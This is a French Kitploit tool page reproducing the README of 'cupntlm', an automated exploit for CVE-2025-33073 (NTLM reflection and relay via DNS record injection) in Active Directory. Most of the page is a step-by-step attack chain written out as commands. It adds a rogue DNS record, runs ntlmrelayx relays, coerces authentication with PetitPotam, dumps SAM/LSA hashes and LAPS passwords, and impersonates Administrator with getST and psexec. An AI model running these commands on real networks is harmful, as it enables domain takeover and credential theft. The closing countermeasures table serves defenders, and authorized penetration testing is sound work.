Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cupntlm-Automated-Exploit-For-CVE-2025-33073- — cupntlm | Kitploit
Outils/GitHubGitHub/egcupcake/cupntlm-automated-exploit-for-cve-2025-33073-
Escalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationMouvement LatéralCollecte d'InformationsPost-ExploitationTests d'IntrusionCommandement et Contrôle

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Authentification
Red Teaming
Analyse DNS
GitHubegcupcake/cupntlm-automated-exploit-for-cve-2025-33073-

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm

Voir le dépôt
33il y a 5 moisPas encore vérifié

cupntlm

CVE-2025-33073 — Contournement de réflexion NTLM via coercition DNS Outil d'exploitation automatisé pour les environnements Active Directory.


Aperçu

cupntlm automatise la chaîne d'attaque par réflexion/relais NTLM exploitant CVE-2025-33073. Il combine l'injection d'enregistrements DNS, la coercition d'authentification forcée (PetitPotam) et le relais NTLM en un seul workflow. L'outil prend en charge deux modes opérationnels selon la portée et les exigences de furtivité.

Résumé de la chaîne d'attaque

root@kitploit:~
Attaquant                    Contrôleur de domaine              Hôte cible
   │                               │                            │
   │── 1. Injecte enregistrement DNS ────────▶│                    │
   │      (IP attaquant comme cible)           │                    │
   │                                │                            │
   │── 2. Coercition auth (PetitPotam) ────────────────────────────▶│
   │                                │                            │
   │◀─ 3. Auth NTLM renvoyée ─────────────────────────────────────│
   │                                │                            │
   │── 4. Relais vers DC ────────────────▶│                       │
   │      (ntlmrelayx)                     │                      │
   │                                │                            │
   │◀─ 5. Shell / secretsdump / etc.      │                      │

Prérequis sur le réseau cible :

  • Signature SMB désactivée sur la cible du relais
  • Un compte domaine basse-privilège valide (lecture seule suffit)
  • Accès réseau au DC (ports 389 LDAP, 445 SMB)

Prérequis

Paquets système

Bibliothèques Python

BibliothèqueInstallation
impacketpip3 install impacket --break-system-packages
coloramapip3 install colorama --break-system-packages
dnspython

Contenu du répertoire exploit/ (rempli automatiquement par setup.sh)

root@kitploit:~
exploit/
├── cupntlm.py
├── ntlmrelayx.py       # depuis impacket
├── dnstool.py          # depuis krbrelayx
├── lib/                # bibliothèque de support krbrelayx
└── PetitPotam.py

Installation

root@kitploit:~
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

Utilisation

Mode Vérification — Valider la faisabilité de l'attaque

Vérifie l'état de la signature SMB sur les cibles et valide les identifiants de domaine avant toute tentative.

root@kitploit:~
cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

Mode Par Cible — Enregistrement DNS séparé par hôte

Crée un enregistrement DNS unique pour chaque cible, déclenche la coercition une par une, et nettoie les enregistrements entre les itérations. Plus lent mais plus précis et moins bruyant.

root@kitploit:~
sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Mode Unique — Un enregistrement DNS, relais persistant

Injecte un seul enregistrement DNS et maintient ntlmrelayx exécuté en continu tout en itérant sur toutes les cibles. Plus rapide pour les grands périmètres.

root@kitploit:~
sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Format de targets.txt

root@kitploit:~
192.168.1.10
192.168.1.11
192.168.1.12

Exploitation manuelle

Les étapes suivantes reproduisent manuellement la chaîne d'attaque complète sans utiliser cupntlm.py. Utile pour comprendre les primitives, déboguer ou s'adapter à des environnements non standard.

Étape 1 — Énumération de la signature SMB

Identifiez les hôtes où la signature SMB est désactivée. Ce sont vos cibles valides pour le relais.

root@kitploit:~
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

Ou avec nmap :

root@kitploit:~
nmap -p 445 --script smb2-security-mode 192.168.1.0/24

Cherchez :

root@kitploit:~
Message signing enabled but not required   ← cible de relais valide
Message signing enabled and required       ← impossible de relayer ici

Étape 2 — Injection d'un enregistrement DNS malveillant

Utilisez dnstool.py pour ajouter un enregistrement A dans le DNS du domaine pointant un nom d'hôte vers votre machine. Lorsqu'une cible résout ce nom et s'authentifie, la requête atterrit sur votre écouteur de relais.

root@kitploit:~
cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # votre IP attaquant
  --type A \
  10.0.0.1                       # IP du DC

Vérifiez que l'enregistrement a été ajouté :

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

Étape 3 — Lancement de l'écouteur de relais NTLM

Lancez ntlmrelayx.py avant de déclencher la coercition. Il restera en attente d'une authentification entrante.

Relais vers SMB — extraction SAM/LSA :

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

Relais vers LDAP — création d'un nouveau compte machine (pour RBCD / shadow credentials) :

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

Relais vers LDAPS — extraction des secrets du domaine :

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

Étape 4 — Coercition d'authentification avec PetitPotam

Déclenchez la machine cible pour qu'elle s'authentifie sortante vers votre enregistrement DNS injecté. PetitPotam abuse de l'interface MS-EFSRPC — aucun identifiant requis sur les hôtes non patchés, ou utilisez des identifiants valides pour ceux qui le sont.

Non authentifié (cible non patchée) :

root@kitploit:~
python3 PetitPotam.py \
  [dnsname] \         # IP de votre écouteur (correspond à l'enregistrement DNS)
  192.168.1.50             # hôte cible à coerciter

Authentifié (cible patchée, identifiants valides requis) :

root@kitploit:~
python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

À ce stade, l'hôte coercité envoie son authentification NTLM vers votre machine → ntlmrelayx l'attrape et la relaie.


Étape 5 — Récupération des résultats

En fonction de la cible de relais choisie à l'étape 3 :

  • Relais SMB → ntlmrelayx affiche les hashs sur stdout et écrit <hostname>_samhashes.txt / _lsahashes.txt
  • LDAP delegate-access → ntlmrelayx imprime le nom du compte machine créé et le mot de passe ; suivez avec getST.py pour un ticket de service
  • Extraction LDAPS → mots de passe LAPS affichés directement

Étape 6 — Nettoyage de l'enregistrement DNS

Supprimez toujours les enregistrements DNS injectés après l'engagement.

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

Exemples de post-exploitation

Pass-the-hash avec un compte machine relayé :

root@kitploit:~
impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

Obtenir un ticket de service pour S4U2Self (après RBCD) :

root@kitploit:~
impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'

Utiliser le ticket :

root@kitploit:~
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local

Contre-mesures

Mesure de sécuritéEffet

Avertissement

Cet outil est destiné uniquement aux tests d'intrusion autorisés et à la recherche en sécurité.
Ne pas utiliser contre des systèmes pour lesquels vous n'avez pas d'autorisation écrite explicite.


Crédits

  • fortra/impacket — ntlmrelayx
  • dirkjanm/krbrelayx — dnstool
  • topotam/PetitPotam — coercition EFS
Télécharger l’outil
OutilBut
python3Exécution
pip3Gestionnaire de paquets Python
gitClonage des dépendances
wgetTéléchargement de fichiers
nmapÉnumération de la signature SMB
netexec / crackmapexecVérification signature SMB (optionnel)
pip3 install dnspython --break-system-packages
Activer la signature SMB (obligatoire) sur tous les hôtesCasse le relais vers SMB
Activer la signature LDAP + liaison de canalCasse le relais vers LDAP/LDAPS
Patcher MS-EFSRPC (KB5005413)Bloque PetitPotam non authentifié
Restreindre la création d'enregistrements DNS aux administrateursBloque l'étape d'injection DNS
Désactiver l'authentification réseau NTLM (préférer Kerberos)Élimine toute la classe d'attaque